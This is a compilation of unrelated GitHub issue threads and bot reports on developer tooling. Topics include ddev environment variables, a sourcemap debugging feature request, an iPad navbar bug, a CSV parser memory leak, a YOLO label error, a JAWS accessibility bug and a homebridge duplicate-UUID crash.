        - exec: echo -e "WEBSERVER_DOCROOT=${WEBSERVER_DOCROOT}\nDOCROOT=${DOCROOT}\nPHP_IDE_CONFIG=serverName=${DDEV_SITENAME}.ddev.site\n* * * * * ~/akeneo-cronrunner.sh > /tmp/cron" | crontab -
        - exec: sudo service cron start
        - exec: bin/console akeneo:batch:job-queue-consumer-daemon --env=prod >/dev/null 2>&1 &

Using the most current ddev 1.15.0, this does not longer work. The env variable WEBSERVER_DOCROOT no longer exists (as documented), but DDEV_SITENAME neither does. Through ddev exec env, I see a lot of env variables set (also those from ddev), but the site name is missing.
Is this intended behaviour?

DDEV_SITENAME is available on the host in custom commands
DDEV_PROJECT is there with the same name inside the web container.
Docs at https://ddev.readthedocs.io/en/stable/users/extend/custom-commands/#environment-variables-provided
As far as I can tell this did not change in v1.15.0 - I just tested with v1.14.2 and it was the same.

A note, your webimage_extra_packages: [--no-install-recommends cron] isn't correct, Just use webimage_extra_packages: [cron]

Oh, also, PHP_IDE_CONFIG is automatically set in v1.15.0 so you don't even need that snippet.

Okay, sorry for interrupting. Tried it using a downgrade, and the older version simply didn't complain that DDEV_SITENAME hasn't been set....

Ah, that makes sense. v1.15.0 does introduce some checks on usage of environment variables in exec contexts, with a set -eu -o pipefail - so it would warn about unset variables.


Add a button "Debug sourcemaps" to open current file on evanw.github.io/source-map-visualization

Clear and concise description of the problem
Debugging sourcemaps issues is very difficult especially in ssr mode
Suggested solution
We could add a button "Debug sourcemaps" that opens a link with the current file and sourcemaps on https://evanw.github.io/source-map-visualization to see what mappings are wrong
source-map-visualization is stateless, it takes the js file and map from the url encoded as base64 (and some more characters for delimiting i assume)
Alternative
No response
Additional context
Makes it easier to debug issues like this https://github.com/withastro/astro/issues/5465
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guide.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

Sounds good to me. We could even using iframe if it's possible. PR welcome :)


Navbar not working on iPad in portrait mode

I'm mainly reading the notebooks on my iPad in portrait mode. A couple of weeks ago, the navbar stopped working. When I click on the icon at the top left, the screen turns dim but the navbar does not open. It works in landscape mode, in the browser and on my phone. But I'm able to reproduce the problem in Firefox Mobile view (Ctrl+Shift+M) when selecting iPad there.

I tracked the issue down to this commit: https://github.com/haesleinhuepf/BioImageAnalysisNotebooks/commit/2cd4c3583aa28d29176a7f441dc488a1eb9af040
Indeed, when upgrading to sphinx-book-theme version 1.0.1 the sidebar works on my iPad. However, the search icon is back in the middle, rather than the navbar.

In the current sphinx-book-theme version 1.1.3 the search bar is back in the sidenav. The overall layout and design looks very similar when updating. And the navbar also works again on the iPad. You might consider removing the restriction of sphinx-book-theme to versions before 1.0.0. Below is a screenshot of the page with the new version.

Below is a screenshot of the page with the new version

Wow cool! Can you please send this as pull-request? I would love to merve it!

With pleasure.
These notebooks are such a great resource. I used some of their content for teaching a course twice, and I regularly refer students here. I'm very happy to contribute some minor improvements, particularly as this project is managed in such a welcoming way. :smiley:


Memory leak

In line 77, in CsvParser_destroy_row() , before
free(csvRow);

add
free(csvRow->fields_);

This issue (and fix) was already posted at 11/05/2015 in comment section: https://sourceforge.net/projects/cccsvparser/reviews
So, what's the point of forking sourceforge ccsvparser cccsvparser, If this repo owner is not using it nor testing programs with valgrind?
I've uploaded it here in order to continue development as the original appears to be inactive
I would say, "I've uploaded it here in order to let users download it from github instead of slow&useless sourceforge".

By the way, there is also many memory leaks that was detected with valgrind and I don't want to waste my time with it, soooo
Can someone recommend me proper csv library?
I was looking at different projects that exist on github, but seems like all of them got at least one of following problems:

lack of documentation (or, at least, no examples)
anti-features, like: no utf8 support (which is weird because utf8 strings are null-terminated), unavailability to tell library that first line is header or whatever, unavailability to set delimiter, etc.
no tests and any kind of activity that proves that library is not a toy and stable enough for real usage

Maybe you could help?

Nevermind, nobody cares.


AssertionError: class id must be less than num_classes

I am getting following error when running train.py
...model.py", line 248, in preprocess_true_boxes
assert (true_boxes[..., 4]<num_classes).all(), 'class id must be less than num_classes'
AssertionError: class id must be less than num_classes

was this issue solved? How was it done. I am getting the same issue

In my case, it is the label in train.txt start with 1 that cause the problem. When I changed the label starting with 0, the error disappear.

I got the same issue too. It turns out that num_classes that I listed in model_data folder is less than what I have in my label, which is incorrect. You should check your labels.


Reported issue with md-select in conjunction with JWAS screen reader

What is affected?
Accessibility, Component
Description
We have received reports from users that md-select component is not behaving as expected when used with JAWS screen reader.
Since "Support more screen readers" is in the 2023 Q4 roadmap, I also report here, although I think it is more of  a JAWS bug (https://github.com/FreedomScientific/standards-support/issues/776).
Note that it is working correctly with the screen reader we use for testing (Orca on Linux).
Reproduction
Steps to reproduce:
https://lit.dev/playground/#gist=8266d1cf3ac2739e43a64cfa77bc02bc
Expected result

Options are announced when they receive focus (after the listbox menu is opened). JAWS should announce: "blank", "apple", "orange", "banana" as for the native select component.
The selection menu closes when a user select a value. (enter or space key)

Actual result
The reported behavior is that:

Options are not announced when they receive focus
The selection menu stays open once a user has selected a value.
The selection menu needs to be closed manually (by pressing the escape key for instance)

Workaround
We did not receive such reports when our select component was based on MD2. So one possible workaround will be to downgrade our select component back to MD2.
Is this a regression?
No or unsure. This never worked, or I haven't tried before.
Affected versions
Possibly working under MD2, reported to fail with MD3 1.0.1
Browser/OS/Node environment
Jaws 2023, windows, Chrome latest

Thank you SO MUCH for this bug! We rarely get SR bugs, and this will be super helpful for the next two quarters.

We rarely get SR bugs, and this will be super helpful for the next two quarters.

Thanks @asyncLiz - we might receive more bug/issue reports in the future as we doing continuous accessibility user testing for our app (accessiblesurveys).
On this particular one, JAWS cannot reproduce. I am trying to arrange a session with the user reporting the issue to better understand what might be happening.


feature union and intersection useRoute

Codecov Report

Merging #11 into master will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##            master       #11   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            6         6
  Lines           55        59    +4
  Branches         2         2
=========================================
+ Hits            55        59    +4

Impacted Files
Coverage Δ

src/path.ts
100.00% <ø> (ø)

src/router.ts
100.00% <100.00%> (ø)

src/test-util.ts
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 24bb99a...928d10f. Read the comment docs.


[ChunkCodecCore] Add ShuffleCodec and hdf5 tests

Fixes #2 by adding HDF5 compatibility tests, and adds a ShuffleCodec for byte shuffling.
Since byte shuffling is a simple common preprocessing step, I'm adding it to ChunkCodecCore instead of making a new package.

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 98.27%. Comparing base (954201f) to head (5eec7ac).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main       #6      +/-   ##
==========================================
+ Coverage   90.16%   98.27%   +8.11%
==========================================
  Files          24        4      -20
  Lines        1108       58    -1050
==========================================
- Hits          999       57     -942
+ Misses        109        1     -108

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Can't find bridgeid/username & trouble with UUID

Hi,
I've tried to install homebridge-hue, but when I first launched it, I wasn't able to find the bridgeid/username automatically as you describe in the installation.
Here's the result (for the first time and still the same) :

[2017-7-24 19:27:07] Loaded plugin: homebridge-dash
[2017-7-24 19:27:08] Registering accessory 'homebridge-dash.Dash'
[2017-7-24 19:27:08] ---
[2017-7-24 19:27:09] Loaded plugin: homebridge-hue
[2017-7-24 19:27:09] Registering platform 'homebridge-hue.Hue'
[2017-7-24 19:27:09] ---
[2017-7-24 19:27:09] Loaded plugin: homebridge-tado-ac
[2017-7-24 19:27:09] Registering accessory 'homebridge-tado-ac.TADO'
[2017-7-24 19:27:09] ---
[2017-7-24 19:27:09] Loaded config.json with 3 accessories and 1 platforms.
[2017-7-24 19:27:09] ---
[2017-7-24 19:27:09] Loading 1 platforms...
[2017-7-24 19:27:09] [Hue homebridge] Initializing Hue platform...
[2017-7-24 19:27:09] [Hue homebridge] homebridge-hue v0.5.7, node v6.11.0, homebridge v0.4.22
[2017-7-24 19:27:09] Loading 3 accessories...
[2017-7-24 19:27:09] [Dash bureau] Initializing Dash accessory...
[2017-7-24 19:27:09] [Clim] Initializing TADO accessory...
[2017-7-24 19:27:10] [Clim] Minimum setpoint 16
[2017-7-24 19:27:10] [Clim] Maximum setpoint 30
[2017-7-24 19:27:10] [Clim] Initializing TADO accessory...
[2017-7-24 19:27:10] [Clim] Minimum setpoint 16
[2017-7-24 19:27:10] [Clim] Maximum setpoint 30
/usr/local/lib/node_modules/homebridge/node_modules/hap-nodejs/lib/Accessory.js:225
throw new Error("Cannot add a bridged Accessory with the same UUID as another bridged Accessory: " + existing.UUID);
^
Error: Cannot add a bridged Accessory with the same UUID as another bridged Accessory: ff590fda-293c-4aab-b158-ff18b6360cd4
at Bridge.Accessory.addBridgedAccessory (/usr/local/lib/node_modules/homebridge/node_modules/hap-nodejs/lib/Accessory.js:225:13)
at Server._loadAccessories (/usr/local/lib/node_modules/homebridge/lib/server.js:269:18)
at Server.run (/usr/local/lib/node_modules/homebridge/lib/server.js:81:38)
at module.exports (/usr/local/lib/node_modules/homebridge/lib/cli.js:40:10)
at Object. (/usr/local/lib/node_modules/homebridge/bin/homebridge:17:22)
at Module._compile (module.js:570:32)
at Object.Module._extensions..js (module.js:579:10)
at Module.load (module.js:487:32)
at tryModuleLoad (module.js:446:12)
at Function.Module._load (module.js:438:3)

Here's the config file (without the bridge identifiant and username because I can't find them) :

"platforms": [
{
"platform": "Hue",
"name": "Hue homebridge",
"users": {
"001788FFFExxxxxx": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"001788FFFEyyyyyy": "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
},
"sensors": true,
"excludeSensorTypes": ["Daylight", "CLIP", "Geofence"],
"lights": true
}
]
}

Thanks for your help...

Did you install any other plugins at the same time?  It looks like homebridge crashes before homebridge-hue has had the time to find your bridge.  The crash is because the same accessory (UUID) is being registered twice, while loading accessory plugins (in Server._loadAccessories).  Homebridge-hue is a platform plugin.  Also, you should see a message that homebridge-hue found your bridge, before it creates any accessories.

Yes, you were right ! I had too devis renamed today as “Clim” that was the problem. Everything works fine now. Another question, what are the other sensor types that we can exclude ? For example I want to disable “Hue ambiant light sensor” what should I use ? Can you make a list of all the sensor type that we can exclude ?
Thanks !

Yes, you were right ! I had too devices renamed today as “Clim” that was the problem. Everything works fine now. Thanks for your quick reply !


MAT-1441 re-generated mongoid models

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- app/models/fhir/domain_resource.rb  1
- app/models/fhir/mime_type.rb  2

Complexity decreasing per file
==============================
+ app/models/fhir/extension.rb  -2

Clones added
============
- app/models/fhir/extension.rb  1
- app/models/fhir/mime_type.rb  1
- app/models/fhir/element_definition_example.rb  1

See the complete overview on Codacy